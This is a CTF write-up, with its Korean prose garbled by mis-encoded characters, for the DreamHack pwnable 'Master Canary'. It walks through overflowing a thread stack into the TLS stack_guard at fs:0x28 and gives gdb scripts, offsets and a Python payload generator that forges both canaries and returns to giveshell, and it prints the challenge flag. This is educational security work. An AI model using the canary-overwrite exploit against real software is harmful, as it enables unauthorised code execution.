๋ฌธ์ : DreamHack โ Master Canary (
mc_thread) ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Silver 3 FLAG:DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}
์คํ ์นด๋๋ฆฌ๋ฅผ ๋ซ๋ ๊ธ์ ๋๊ฐ "์นด๋๋ฆฌ๋ฅผ ์ ์ถํ๋ค"๋ก ์์ํ๋ค. ์ด ๋ฌธ์ ๋ ์ ์ถํ ๊ตฌ๋ฉ์ด ์๋ค.
์ถ๋ ฅ์ด๋ผ๊ณ ๋ Size: ๊ณผ Data: ๋ ์ค๋ฟ์ด๊ณ , ๋ฃ์ ๊ฐ์ ๋๋๋ ค ์ฃผ๋ ๊ณณ์ด ํ๋๋ ์๋ค.
๊ทธ๋ฐ๋ฐ ์ด ๋ฌธ์ ์ ๋ต์ ์ ์ถ์ด ์๋๋ค. ๊ฒ์ฌ์ ์ฐ์ด๋ ์นด๋๋ฆฌ ์๋ณธ์ด ์ฐ๋ฆฌ๊ฐ ๋์น๋ ๋ฒํผ์ ๊ฐ์ ๋ฉ๋ชจ๋ฆฌ ์์ญ ์์ ์๋ค. ๊ทธ๋์ ์๋ณธ์ ๋ชฐ๋ผ๋ ๋๋ค โ ๋์ ๊ฐ์ ๊ฐ์ผ๋ก ๋ฐ๊ฟ ๋ฒ๋ฆฌ๋ฉด ๊ทธ๋ง์ด๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Master Canary (๋ฐฐํฌ ๋ฐ์ด๋๋ฆฌ ์ด๋ฆ์ mc_thread) |
| ๋์ด๋ | ๐ฅ Silver 3 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต ํ์ผ | mc_thread, mc_thread.c, Dockerfile, libc.so.6, ld-linux-x86-64.so.2 |
| ํ๊ฒฝ | Ubuntu 22.04 / glibc 2.35 / socat ๋ก ํ์ค์ ์ถ๋ ฅ ์ฐ๊ฒฐ |
| ๋ณดํธ ๊ธฐ๋ฒ | NX, Partial RELRO, Stack Canary, No PIE |
| ํต์ฌ ์ทจ์ฝ์ | ์ค๋ ๋ ์คํ ์ค๋ฒํ๋ก์ฐ๊ฐ TLS์ ๋ง์คํฐ ์นด๋๋ฆฌ๊น์ง ๋ฟ๋๋ค |
ํ๋ฆ์ ์งง๋ค. pthread_create๋ก ๋ง๋ ์ค๋ ๋ ์์์ ํฌ๊ธฐ ๊ฒ์ฌ ์๋ ์ค๋ฒํ๋ก์ฐ๊ฐ ์ผ์ด๋๊ณ ,
๊ทธ ์ค๋ ๋์ TCB(struct pthread)๊ฐ ๊ฐ์ ์คํ ๋งคํ์ ๊ผญ๋๊ธฐ์ ๋ถ์ด ์๋ค.
๋ฒํผ์์ ์๋ก 0x928๋ฐ์ดํธ๋ฅผ ์ฐ๋ฉด fs:0x28, ์ฆ ์นด๋๋ฆฌ ์๋ณธ์ ๋ฟ๋๋ค.
์คํ ๋ณต์ฌ๋ณธ๊ณผ ์๋ณธ์ ๊ฐ์ ๊ฐ์ผ๋ก ๋ง์ถ๊ณ ๋ฐํ ์ฃผ์๋ฅผ giveshell๋ก ๋๋ฆฌ๋ฉด ๋์ด๋ค.
ํ ๊ฐ์ง ํจ์ ์ด ์๋๋ฐ, ๊ทธ "์ฐ๋ ๊น์ ์ง๋๊ฐ๋" ๊ตฌ๊ฐ์ TCB์ self ํฌ์ธํฐ๊ฐ ์๋ค.
๊ฑฐ๊ธฐ๋ฅผ ์๋ฌด ๊ฐ์ผ๋ก ์ฑ์ฐ๋ฉด ๋ค์ read() ํธ์ถ์ด ๊ทธ ์๋ฆฌ์์ ์ฃฝ๋๋ค. ์ด ๊ธ์ ์ ๋ฐ์ ๊ทธ ์ด์ผ๊ธฐ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์นด๋๋ฆฌ๋ ์ด๋์์ ์ค๋๊ฐ
gcc -fstack-protector๊ฐ ๋ถ์ธ ์นด๋๋ฆฌ ๊ฒ์ฌ๋ ์ปดํ์ผ๋ฌ๊ฐ ๋ง๋ ๋ ์ค๋ก ์์ฝ๋๋ค.
ํจ์ ์์์ ์นด๋๋ฆฌ ๊ฐ์ ์คํ์ ๋ณต์ฌํด ๋๊ณ , ํจ์ ๋์์ ๊ทธ ๋ณต์ฌ๋ณธ์ด ๊ทธ๋๋ก์ธ์ง ํ์ธํ๋ค.
; ํจ์ ์ง์
๋ถ
mov rax, QWORD PTR fs:0x28 ; ์๋ณธ์ ์ฝ์ด์
mov QWORD PTR [rbp-0x8], rax ; ์คํ์ ๋ณต์ฌ๋ณธ์ ๋๋ค
; ํจ์ ์ข
๋ฃ๋ถ
mov rax, QWORD PTR [rbp-0x8] ; ๋ณต์ฌ๋ณธ๊ณผ
sub rax, QWORD PTR fs:0x28 ; ์๋ณธ์ ๋น๊ต
je ok
call __stack_chk_fail์ฌ๊ธฐ์ ์ค์ํ ๊ฒ์ ์๋ณธ์ด fs:0x28์ ์๋ค๋ ์ ์ด๋ค. x86-64 ๋ฆฌ๋
์ค์์ fs ์ธ๊ทธ๋จผํธ
๋ฒ ์ด์ค๋ ๊ทธ ์ค๋ ๋์ TCB(Thread Control Block)๋ฅผ ๊ฐ๋ฆฌํค๊ณ , TCB์ ์ฒซ ๊ตฌ์กฐ์ฒด์ธ tcbhead_t์
0x28 ์คํ์
์ stack_guard ํ๋๊ฐ ์๋ค.
/* glibc: sysdeps/x86_64/nptl/tls.h */
typedef struct {
void *tcb; /* 0x00 */
dtv_t *dtv; /* 0x08 */
void *self; /* 0x10 */
int multiple_threads; /* 0x18 */
int gscope_flag; /* 0x1c */
uintptr_t sysinfo; /* 0x20 */
uintptr_t stack_guard; /* 0x28 */ /* <- ์นด๋๋ฆฌ ์๋ณธ */
uintptr_t pointer_guard; /* 0x30 */
...
} tcbhead_t;๊ฐ ์์ฒด๋ ํ๋ก์ธ์ค๊ฐ ์์ํ ๋ ๋ฑ ํ ๋ฒ ๋ง๋ค์ด์ง๋ค. ๊ทธ๋ฆฌ๊ณ pthread_create๋ก ์ ์ค๋ ๋๋ฅผ
๋ง๋ค๋ฉด glibc๊ฐ ๋ฉ์ธ ์ค๋ ๋์ ๊ฐ์ ๊ทธ๋๋ก ๋ณต์ฌํด ์ TCB์ ์ฌ๋๋ค. ๊ทธ๋์ ํ ํ๋ก์ธ์ค์
๋ชจ๋ ์ค๋ ๋๊ฐ ๊ฐ์ ์นด๋๋ฆฌ๋ฅผ ์ด๋ค โ ์ด๊ฒ ๋ฌธ์ ์ ๋ชฉ์ "๋ง์คํฐ ์นด๋๋ฆฌ"๋ค.
์ฌ๊ธฐ๊น์ง๋ ๊ทธ๋ฅ ์์์ด๋ค. ์ค์ ๋ก ๋ซ๋ ๋ฐ ์ฐ์ด๋ ์ฌ์ค์ ๊ทธ๋ค์์ด๋ค.
์ค๋ ๋์ TCB๋ ๊ทธ ์ค๋ ๋์ ์คํ๊ณผ ๊ฐ์ ๋งคํ ์์ ์๋ค. pthread_create๋ ์ค๋ ๋๋ง๋ค
์คํ์ mmap์ผ๋ก ํ๋ ์ก๊ณ , ๊ทธ ์์ญ์ ๋งจ ์์ struct pthread๋ฅผ ์น๋๋ค.
์คํ์ ์๋๋ก ์๋ผ๋๊น ์๋ก ๋ถ๋ชํ์ง ์๋๋ค๋ ๊ณ์ฐ์ธ๋ฐ, ๋ค์ง์ด ๋งํ๋ฉด
์คํ ๋ฒํผ๋ฅผ ์๋ก ์ถฉ๋ถํ ๋ฎ์ผ๋ฉด TCB์ ๋ฟ๋๋ค๋ ๋ป์ด๋ค.
๋ฉ์ธ ์ค๋ ๋์์๋ ์ด๋ฐ ์ผ์ด ์ ์๊ธด๋ค. ๋ฉ์ธ ์ค๋ ๋์ TCB๋ ์คํ์ด ์๋๋ผ ๋ณ๋ ๋งคํ์ ์๊ณ , ๊ทธ ์ฌ์ด์ ํ๊ฒฝ๋ณ์ยทargv๋ฅผ ๋น๋กฏํ ์ปค๋์ด ๊น์ ๋ ์์ญ์ด ํต์งธ๋ก ๋ผ์ด ์๋ค. ์ด ๊ณต๊ฒฉ์ด ์ค๋ ๋ ์์์๋ง ์ฑ๋ฆฝํ๋ ์ด์ ๋ค.
๐ฌ ์ ์ฐฐ โ ํ์ผ๋ถํฐ ๋ณธ๋ค
๋ฐฐํฌ๋ณธ์ ํ๋ฉด ์์ค๊น์ง ๋ค์ด ์๋ค. ์๋ฒ๋ฅผ ์ผ๊ธฐ ์ ์ ์ฌ๊ธฐ์ ๋๋ผ ์ ์๋ ๋ฌธ์ ๋ค.
$ ls extracted/
Dockerfile flag ld-linux-x86-64.so.2 libc.so.6 mc_thread mc_thread.cDockerfile์ด ํ๊ฒฝ์ ๊ทธ๋๋ก ์๋ ค ์ค๋ค. ๋ก์ปฌ ๊ฒ์ฆ์ ์ด๋์ ๋ง์ถฐ์ผ ํ๋์ง๊ฐ ์ฌ๊ธฐ์ ์ ํด์ง๋ค.
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user mc_thread
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; donesocat ... EXEC:์ด๋ผ ํ๋ก๊ทธ๋จ์ ํ์ค์
์ถ๋ ฅ์ด ๊ทธ๋๋ก ์์ผ์ ๋ฌผ๋ฆฐ๋ค. ์
ธ๋ง ์ก์ผ๋ฉด ๊ทธ ์
ธ์
์
์ถ๋ ฅ๋ ๊ฐ์ ์์ผ์ผ๋ก ์ด์ด์ง๋ค๋ ๋ป์ด๋ค. -T 30์ด๋ผ 30์ด ์์ ๋๋ด์ผ ํ๋ค.
๊ทธ๋ฆฌ๊ณ ๋ฐฐํฌ๋ณธ ์์ flag๋ DH{**flag**}๋ผ๋ ์๋ฆฌํ์์๋ค โ ์ง์ง ๊ฐ์ ๋ผ์ด๋ธ ์๋ฒ์๋ง ์๋ค.
๋ณดํธ ๊ธฐ๋ฒ๋ถํฐ ํ์ธํ๋ค.
file mc_thread; pwn checksec mc_thread
์นด๋๋ฆฌ๊ฐ ์ผ์ ธ ์๊ณ NX๋ ์ผ์ ธ ์๋ค. ๋์ No PIE๋ผ ๋ฐ์ด๋๋ฆฌ์ ์ฃผ์๋ ์ ๋ถ ๊ณ ์ ์ด๋ค
(0x400000 ๊ธฐ์ค). ์ด ์ฌ์ค์ ๋์ค์ ๊ฒฐ์ ์ ์ผ๋ก ์ฐ์ธ๋ค.
์์ค โ 43์ค์ด ์ ๋ถ๋ค
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}buf๋ 256๋ฐ์ดํธ์ธ๋ฐ size๋ ์ฐ๋ฆฌ๊ฐ ์ ํ๊ณ , read_bytes๋ ๊ทธ size๋ฅผ ๊ทธ๋๋ก ๋ฏฟ๊ณ
8๋ฐ์ดํธ์ฉ size๋ฒ ์ด๋ค. ์ฆ ์ต๋ size * 8๋ฐ์ดํธ๋ฅผ ์ธ ์ ์๋ค.
giveshell์ด ์ด๋ฏธ ์์ผ๋ ROP๋ ํ์ ์๋ค. ๋ฐํ ์ฃผ์๋ง ๊ฑฐ๊ธฐ๋ก ๋๋ฆฌ๋ฉด ๋๋ค.
๋ฌธ์ ๋ ๊ทธ ์ฌ์ด๋ฅผ ๋ง๊ณ ์๋ ์นด๋๋ฆฌ๋ค.
๋์ค์ด์ ๋ธ โ ํ๋ ์ ๋ฐฐ์น๋ฅผ ๋์ผ๋ก ํ์ธ
์์ค๋ง ๋ณด๊ณ ์คํ์
์ ์ง์ํ๋ฉด ํ๋ฆฐ๋ค. ์ปดํ์ผ๋ฌ๊ฐ buf๋ฅผ ์ด๋์ ๋์๋์ง ์ง์ ๋ณธ๋ค.
objdump -d --no-show-raw-insn -M intel \
--start-address=0x401316 --stop-address=0x4013b2 mc_thread | sed -E -f ../work/annot_thread.sed์บก์ณ์ <-- ์ฃผ์์ ๋๊ตฌ๊ฐ ์ฐ์ ๊ฒ ์๋๋ผ ๋ด๊ฐ sed๋ก ์น์ ๊ฒ์ด๋ค. ๊ท์น ํ์ผ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
s/(sub rsp,0x120)/\1 <-- thread_routine ํ๋ ์ 0x120/
s/(mov rax,QWORD PTR fs:0x28)/\1 <-- ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ TLS ์์ ์ฝ์ด์/
s/(mov QWORD PTR \[rbp-0x8\],rax)/\1 <-- ์คํ์ ๋ณต์ฌ๋ณธ์ ๋๋ค/
s/(lea rax,\[rbp-0x114\])/\1 <-- size (int)/
s/(lea rax,\[rbp-0x110\])/\1 <-- buf[256] ์์ = rbp-0x110/
s/(call 4012c1 <read_bytes>)/\1 <-- read_bytes(buf, size) ํฌ๊ธฐ ๊ฒ์ฌ ์์/
s/(sub rax,QWORD PTR fs:0x28)/\1 <-- ์คํ ๋ณต์ฌ๋ณธ vs TLS ์๋ณธ ๋น๊ต/
ํ๋ ์ ๋ฐฐ์น๊ฐ ํ์ ๋๋ค.
| ๋์ | ์ฃผ์ | buf ๊ธฐ์ค |
|---|---|---|
buf[256] | rbp-0x110 | +0x000 |
size (int) | rbp-0x114 | โ |
| ์นด๋๋ฆฌ ๋ณต์ฌ๋ณธ | rbp-0x8 | +0x108 |
| saved rbp | rbp+0x0 | +0x110 |
| ๋ฐํ ์ฃผ์ | rbp+0x8 | +0x118 |
buf๊ฐ rbp-0x110์ธ๋ฐ ์นด๋๋ฆฌ๊ฐ rbp-0x8์ด๋ ๊ทธ ์ฌ์ด๋ 0x108๋ฐ์ดํธ๋ค.
๋ฒํผ 256๋ฐ์ดํธ(0x100)๋ณด๋ค 8๋ฐ์ดํธ ๋๋ค โ ์ ๋ ฌ์ฉ ํจ๋ฉ์ด ๋ผ์ด ์๋ ๊ฒ์ด๋ค.
์ด๋ฐ ๊ฐ์ ์์ค๋ง ๋ณด๊ณ 0x100์ด๋ผ๊ณ ์ ์๋ค๋ฉด ๊ฑฐ๊ธฐ์ ์ด๊ธ๋๋ค.
์ด์ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ผ์ผํค๋ ํจ์๋ฅผ ๋ณธ๋ค.
objdump -d --no-show-raw-insn -M intel \
--start-address=0x4012c1 --stop-address=0x401316 mc_thread | sed -E -f ../work/annot_read_bytes.sed
cmp eax, DWORD PTR [rbp-0x1c] โ i์ size๋ง ๋น๊ตํ๋ค. size์ ์ํ์ ๋ณด๋ ๊ณณ์ด ์๋ค.
๋ฃจํ๋ฅผ ๋น ์ ธ๋๊ฐ๋ ์ ์ผํ ๊ธธ์ read๊ฐ 8๋ฐ์ดํธ๋ฅผ ๋ชป ์ฑ์ฐ๋ ๊ฒฝ์ฐ(cmp rax,0x7 / jle)๋ฟ์ด๋ค.
์ด ์กฐ๊ฑด์ ์ต์คํ๋ก์์์๋ ์ ๊ฒฝ ์จ์ผ ํ๋ค. ํ์ด๋ก๋๋ฅผ ํ ๋ฒ์ ๋์ก๋๋ฐ TCP ์ธ๊ทธ๋จผํธ ๊ฒฝ๊ณ๊ฐ
8๋ฐ์ดํธ ์ค๊ฐ์ ๊ฑธ๋ฆฌ๊ณ ๋ง์นจ ํ๋ก๊ทธ๋จ์ด ๊ทธ ๊ฒฝ๊ณ๋ฅผ ๋ฐ๋ผ์ก์ผ๋ฉด, read๊ฐ 7๋ฐ์ดํธ๋ฅผ ๋ฐํํ๋ฉด์
๋ฃจํ๊ฐ ์กฐ๊ธฐ ์ข
๋ฃ๋๋ค. ์ค์ ๋ก๋ ํ๋ก๊ทธ๋จ์ read ๋ฐ๋ณต์ด ๋คํธ์ํฌ๋ณด๋ค ํจ์ฌ ๋๋ ค์
์ปค๋ ์์ ๋ฒํผ์ ๋ฐ์ดํฐ๊ฐ ๋จผ์ ์์ด์ง๋ง, ์คํจํ๋ฉด ์ด๊ฑธ ์์ฌํ๋ฉด ๋๋ค.
๐งฑ ์ค๋ ๋ ์คํ์ ์ด๋ป๊ฒ ์กํ๋
pthread_create๋ ์ค๋ ๋๋ง๋ค ์คํ์ mmap์ผ๋ก ์ก๋๋ค(๊ธฐ๋ณธ 8MB).
x86-64๋ TLS variant II๋ผ์, ๊ทธ ์์ญ์ ์์ชฝ์ struct pthread(=TCB)๋ฅผ ์น๊ณ
๊ทธ ์๋์ static TLS ๋ธ๋ก์ ๋ถ์ธ๋ค. fs ๋ ์ง์คํฐ ๋ฒ ์ด์ค๊ฐ ๊ณง TCB์ ์์์ด๋ค.
๋์ ์ฃผ์
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ struct pthread (TCB) โ <- fs ๋ ์ง์คํฐ๊ฐ ์ฌ๊ธฐ
โ fs:0x28 = stack_guard โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ static TLS ๋ธ๋ก (errno ๋ฑ) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ start_thread ํ๋ ์ โ
โ thread_routine ํ๋ ์ โ <- buf[256] ์ด ์ฌ๊ธฐ
โ ... โ
โ (8MB ์คํ, ์๋๋ก ์๋๋ค) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๋ฎ์ ์ฃผ์thread_routine์ ์ค๋ ๋๊ฐ ์์ํ์๋ง์ ํธ์ถ๋๋ ํ๋ ์์ด ์คํ ๊ผญ๋๊ธฐ ๊ทผ์ฒ์ ์๋ค.
๊ทธ๋์ buf์์ TCB๊น์ง์ ๊ฑฐ๋ฆฌ๋ ๋ช ํฌ๋ก๋ฐ์ดํธ ์์ค์ด๋ค. ์ ํํ ๊ฐ๋ง ์ฌ๋ฉด ๋๋ค.
๐ ์คํ์ ์ค์ธก โ ์ง์ํ์ง ์๋๋ค
buf์์ fs:0x28๊น์ง์ ๊ฑฐ๋ฆฌ๋ glibc ๋ฒ์ ๋ง๋ค ๋ค๋ฅด๋ค. struct pthread ๋ ์ด์์๋,
start_thread๊ฐ ์ฐ๋ ์คํ ํฌ๊ธฐ๋ ๋ฒ์ ๋ง๋ค ๋ฌ๋ผ์ง๊ธฐ ๋๋ฌธ์ด๋ค.
๊ทธ๋์ ๋ฌธ์ ์ ๊ฐ์ glibc๋ก ์ง์ ์ฌ์ผ ํ๋ค. ๋ฐฐํฌ๋ณธ์ด libc.so.6๊ณผ ld-linux-x86-64.so.2๋ฅผ
๊ฐ์ด ์ค ์ด์ ๊ฐ ์ด๊ฒ์ด๋ค.
๋ก์ปฌ ํ๊ฒฝ ๊ตฌ์ฑ
๋ด ๋ฐ์คํฌํฑ glibc๋ 2.42๋ผ์ ๊ทธ๋๋ก ๋๋ฆฌ๋ฉด ๋ค๋ฅธ ๊ฐ์ด ๋์จ๋ค. ๋ฐฐํฌ๋ 2.35๋ก ๊ฐ์ ํ๋ค.
mkdir -p work && cd work
cp ../extracted/{mc_thread,libc.so.6,ld-linux-x86-64.so.2} .
chmod +x mc_thread ld-linux-x86-64.so.2
patchelf --set-interpreter "$PWD/ld-linux-x86-64.so.2" --set-rpath "$PWD" mc_thread
ldd mc_thread # libc.so.6 ์ด work/ ๊ฒ์ผ๋ก ์กํ๋์ง ํ์ธstrings libc.so.6 | grep "GNU C Library"๋ก ๋ฒ์ ์ ํ์ธํด ๋๋ฉด ์ข๋ค โ
์ด ๋ฐฐํฌ๋ณธ์ Ubuntu GLIBC 2.35-0ubuntu3.1์ด๋ค.
gdb๋ก ์ฌ๊ธฐ
read_bytes ํธ์ถ ์ง์ (0x401396)์ ๋ฉ์ถฐ rbp์ fs_base๋ฅผ ์ฝ์ผ๋ฉด ํ์ํ ๊ฐ์ด ๋ค ๋์จ๋ค.
run < size1.txt๋ก ํ์ค์
๋ ฅ์ ํ์ผ์์ ๋ฐ๊ฒ ํด์ ๋ํํ ์
๋ ฅ ์์ด ๋ฐฐ์น๋ก ๋๋ฆฐ๋ค
(size1.txt์๋ 1 ํ ์ค๋ง ๋ค์ด ์๋ค).
set confirm off
set pagination off
# read_bytes(buf, size) ํธ์ถ ์ง์ โ ์ด ์์ ์ rbp / fs_base ๋ก ์คํ์
์ ์ฐ๋ค
break *0x401396
run < size1.txt
printf "buf = %p\n", (char *)($rbp-0x110)
printf "canary_slot = %p\n", (char *)($rbp-0x8)
printf "ret_addr = %p\n", (char *)($rbp+0x8)
printf "fs_base(TCB)= %p\n", (char *)$fs_base
printf "master_can = %p\n", (char *)($fs_base+0x28)
printf "\n--- offsets from buf ---\n"
printf "buf -> canary_slot : 0x%lx\n", (long)($rbp-0x8)-(long)($rbp-0x110)
printf "buf -> ret_addr : 0x%lx\n", (long)($rbp+0x8)-(long)($rbp-0x110)
printf "buf -> master_can : 0x%lx\n", (long)($fs_base+0x28)-(long)($rbp-0x110)
printf "\nstack canary = %p\n", *(unsigned long*)($rbp-0x8)
printf "master canary = %p\n", *(unsigned long*)((long)$fs_base+0x28)
quitgdb๊ฐ ๋ฑ๋ ๊ฒฝ๊ณ (patchelf๋ก ์น์
์ ์ฎ๊ธด ํ์ ๋์ค๋ Loadable section ... outside of ELF segments,
libthread_db ๊ฒฝ๊ณ )๋ ํ๋ฉด์ ๊ฐ๋ฆฌ๊ธฐ๋ง ํด์ gdbnoise.txt๋ก ๊ฑธ๋ ๋ค.
^warning:
outside of ELF
^ in /homegdb -q -batch -x find_offset.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s
| ๋์ | buf ๊ธฐ์ค ์คํ์
|
|---|---|
์นด๋๋ฆฌ ๋ณต์ฌ๋ณธ [rbp-0x8] | 0x108 |
๋ฐํ ์ฃผ์ [rbp+0x8] | 0x118 |
๋ง์คํฐ ์นด๋๋ฆฌ fs:0x28 | 0x928 |
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง ๋ ์ค์ด ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค. stack canary์ master canary๊ฐ ์์ ํ ๊ฐ์ ๊ฐ์ผ๋ก
์ฐํ๋ค. ํจ์ ์ง์
๋ถ์์ ์๋ณธ์ ๋ณต์ฌํด ์จ ๊ฒ์ด๋ ๋น์ฐํ์ง๋ง, ๊ทธ ๋์ด ๊ฐ์ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ ์์์
0x820๋ฐ์ดํธ ๋จ์ด์ ธ ๋๋ํ ์๋ค๋ ์ฌ์ค์ด ๋์ ๋ณด์ด๋ฉด ๊ณต๊ฒฉ ๋ฐฉํฅ์ด ์ ํด์ง๋ค.
๋งคํ๋ ๊ฐ์ด ํ์ธํ๋ค
buf์ TCB๊ฐ ์ ๋ง ํ ๋งคํ ์์ ์๋์ง, ๊ทธ๋ฆฌ๊ณ ๋์ค์ ์ธ ์ฐ๊ธฐ ๊ฐ๋ฅ ์ฃผ์๊ฐ ์ด๋์ธ์ง ๋ณธ๋ค.
set confirm off
set pagination off
break *0x401396
run < size1.txt
printf "\nthread buf = %p (fs_base = %p)\n", (char *)($rbp-0x110), (char *)$fs_base
info proc mappings
quit์ ์ฒด ๋งคํ์ 45์ค์ด๋ผ ๋ณด๊ณ ์ถ์ ์ค๋ง maps_focus.txt๋ก ๊ณจ๋๋ค.
thread buf
Start Addr
master-canary/work/mc_thread
[heap]
0x00007ffff73ff000
0x00007ffff7400000gdb -q -batch -x mappings.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | grep -F -f maps_focus.txt
0x00007ffff7400000๋ถํฐ 0x00007ffff7c00000๊น์ง 0x800000(8MB)์ง๋ฆฌ ์ต๋ช
rw-p ๋งคํ์ด
์ค๋ ๋ ์คํ์ด๋ค. buf = 0x7ffff7bfed40, fs_base = 0x7ffff7bff640 โ ๋ ๋ค ๊ทธ ๋งคํ์ ๊ผญ๋๊ธฐ ๊ทผ์ฒ๋ค.
๋ฐ๋ก ์๋ 0x7ffff73ff000์ ---p ํ ํ์ด์ง๋ ์คํ ์๋์ชฝ ๊ฐ๋ ํ์ด์ง๋ค.
๊ฐ๋ ํ์ด์ง๋ ์๋์๋ง ์๋ค. ์๋ก ๋์น๋ ์ด๋ฒ ๊ณต๊ฒฉ์๋ ์๋ฌด ์์ฉ์ด ์๋ค.
๊ฐ์ ํ๋ฉด์์ ํ๋ ๋ ํ์ธํด ๋๋ค. ๋ฐ์ด๋๋ฆฌ์ 0x404000๋ถํฐ 0x405000๊น์ง๊ฐ rw-p๋ค.
No PIE๋ผ ์ด ์ฃผ์๋ ์คํํ ๋๋ง๋ค ๋๊ฐ๋ค. ์ด๋ฐ๊ฐ ์ด๋ค.
๋ค๋ฅธ glibc๋ฅผ ์ด๋ค๋ฉด
0x928์ ๊ทธ๋๋ก ์ฐ๋ฉด ์ ๋๋ค. ์find_offset.gdb๋ฅผ ๊ทธ ํ๊ฒฝ์์ ๋๋ ค ๋ค์ ์ฌ๋ฉด ๋๋ค.0x108๊ณผ0x118์ ๋ฐ์ด๋๋ฆฌ๊ฐ ์ ํ๋ ๊ฐ์ด๋ผ ๋ฐ๋์ง ์๋๋ค.
๐ ์ฝ์ง โ ๊ทธ๋ฅ ๋ฎ์ผ๋ฉด ์ฃฝ๋๋ค
์ฌ๊ธฐ๊น์ง ์ค๋ฉด ํ์ด๋ก๋๋ ๋ปํด ๋ณด์ธ๋ค. buf๋ถํฐ 0x928๊น์ง ์ญ ์ฑ์ฐ๊ณ ์ธ ์๋ฆฌ๋ง ์ํ๋ ๊ฐ์ผ๋ก ๋๋ฉด ๋๋ค.
โถ๐ ์ฝ์ง โ TCB๋ฅผ ํต์งธ๋ก ๋ญ๊ฐฐ๋๋ read()๊ฐ SIGSEGV
์ฒซ ํ์ด๋ก๋๋ ์ด๋ฌ๋ค. ์ฌ์ด ๊ตฌ๊ฐ์ ์ ๋ถ C๋ก ์ฑ์ ๋ค.
p = b"A" * 0x108 # buf ~ ์นด๋๋ฆฌ ์ง์
p += p64(FAKE) # ์นด๋๋ฆฌ ๋ณต์ฌ๋ณธ
p += b"B" * 8 # saved rbp
p += p64(GIVESHELL) # ๋ฐํ ์ฃผ์
p += b"C" * (0x928 - len(p)) # ๋๋จธ์ง ์ ๋ถ
p += p64(FAKE) # fs:0x28๊ฒฐ๊ณผ๋ ์
ธ์ด ์๋๋ผ SIGSEGV์๋ค. ๊ทธ๊ฒ๋ thread_routine์ด ๋ฐํํ๊ธฐ ์ ์,
์์ง read_bytes ๋ฃจํ๋ฅผ ๋๊ณ ์๋ ์ค์ ์ฃฝ์๋ค.
ํ์ธ์ฉ ์
๋ ฅ์ ํ์ผ๋ก ๋จ๊ตฌ๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค์๋ค. ๋งจ ์ 294\n์ scanf("%d")๊ฐ ์ฝ๋ size๋ค.
#!/usr/bin/env python3
# gdb ๋ก ํ์ธํ ์
๋ ฅ์ ํ์ผ๋ก ๋จ๊ตฐ๋ค. ๋งจ ์ "294\n" ์ scanf("%d") ๊ฐ ์ฝ๋ size ๋ค.
# python3 gen_payload.py naive -> payload_naive.bin (TCB ๋ฅผ ํต์งธ๋ก ๋ญ๊ฐ ์ฒซ ์๋)
# python3 gen_payload.py final -> payload.bin (self / multiple_threads ๋ฅผ ์ด๋ ค๋ ์ต์ข
๋ณธ)
import sys
from struct import pack
p64 = lambda x: pack("<Q", x)
GIVESHELL = 0x401256
OFF_CANARY, OFF_RET, OFF_MASTER = 0x108, 0x118, 0x928
OFF_TCB = OFF_MASTER - 0x28
FAKE = 0xDEADBEEFCAFEBABE
SAFE_SELF = 0x404000
mode = sys.argv[1] if len(sys.argv) > 1 else "final"
p = b"A" * OFF_CANARY + p64(FAKE) + b"B" * 8 + p64(GIVESHELL)
p += b"C" * (OFF_TCB - len(p))
if mode == "naive":
p += b"C" * 0x28 # tcbhead_t ๋ฅผ ํต์งธ๋ก 'C' ๋ก (= ์ฒซ ์๋)
out = "payload_naive.bin"
else:
p += p64(0) + p64(0) + p64(SAFE_SELF) + p64(0) + p64(0)
out = "payload.bin"
p += p64(FAKE)
assert len(p) == OFF_MASTER + 8
open(out, "wb").write(b"%d\n" % (len(p) // 8) + p)
print(f"{out}: {len(p)} bytes, size = {len(p)//8}")๊ทธ๋ฆฌ๊ณ ์ด๋์ ์ฃฝ๋์ง ๋ณธ๋ค.
set confirm off
set pagination off
# tcbhead_t ๋ฅผ ํต์งธ๋ก ๋ญ๊ฐ ์ฒซ ์๋ โ ์ด๋์ ์ฃฝ๋์ง ๋ณธ๋ค
run < payload_naive.bin
printf "\n=== crash site ===\n"
info registers rip rax
x/2i $rip
quitpython3 gen_payload.py naive
gdb -q -batch -x crash_naive.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s
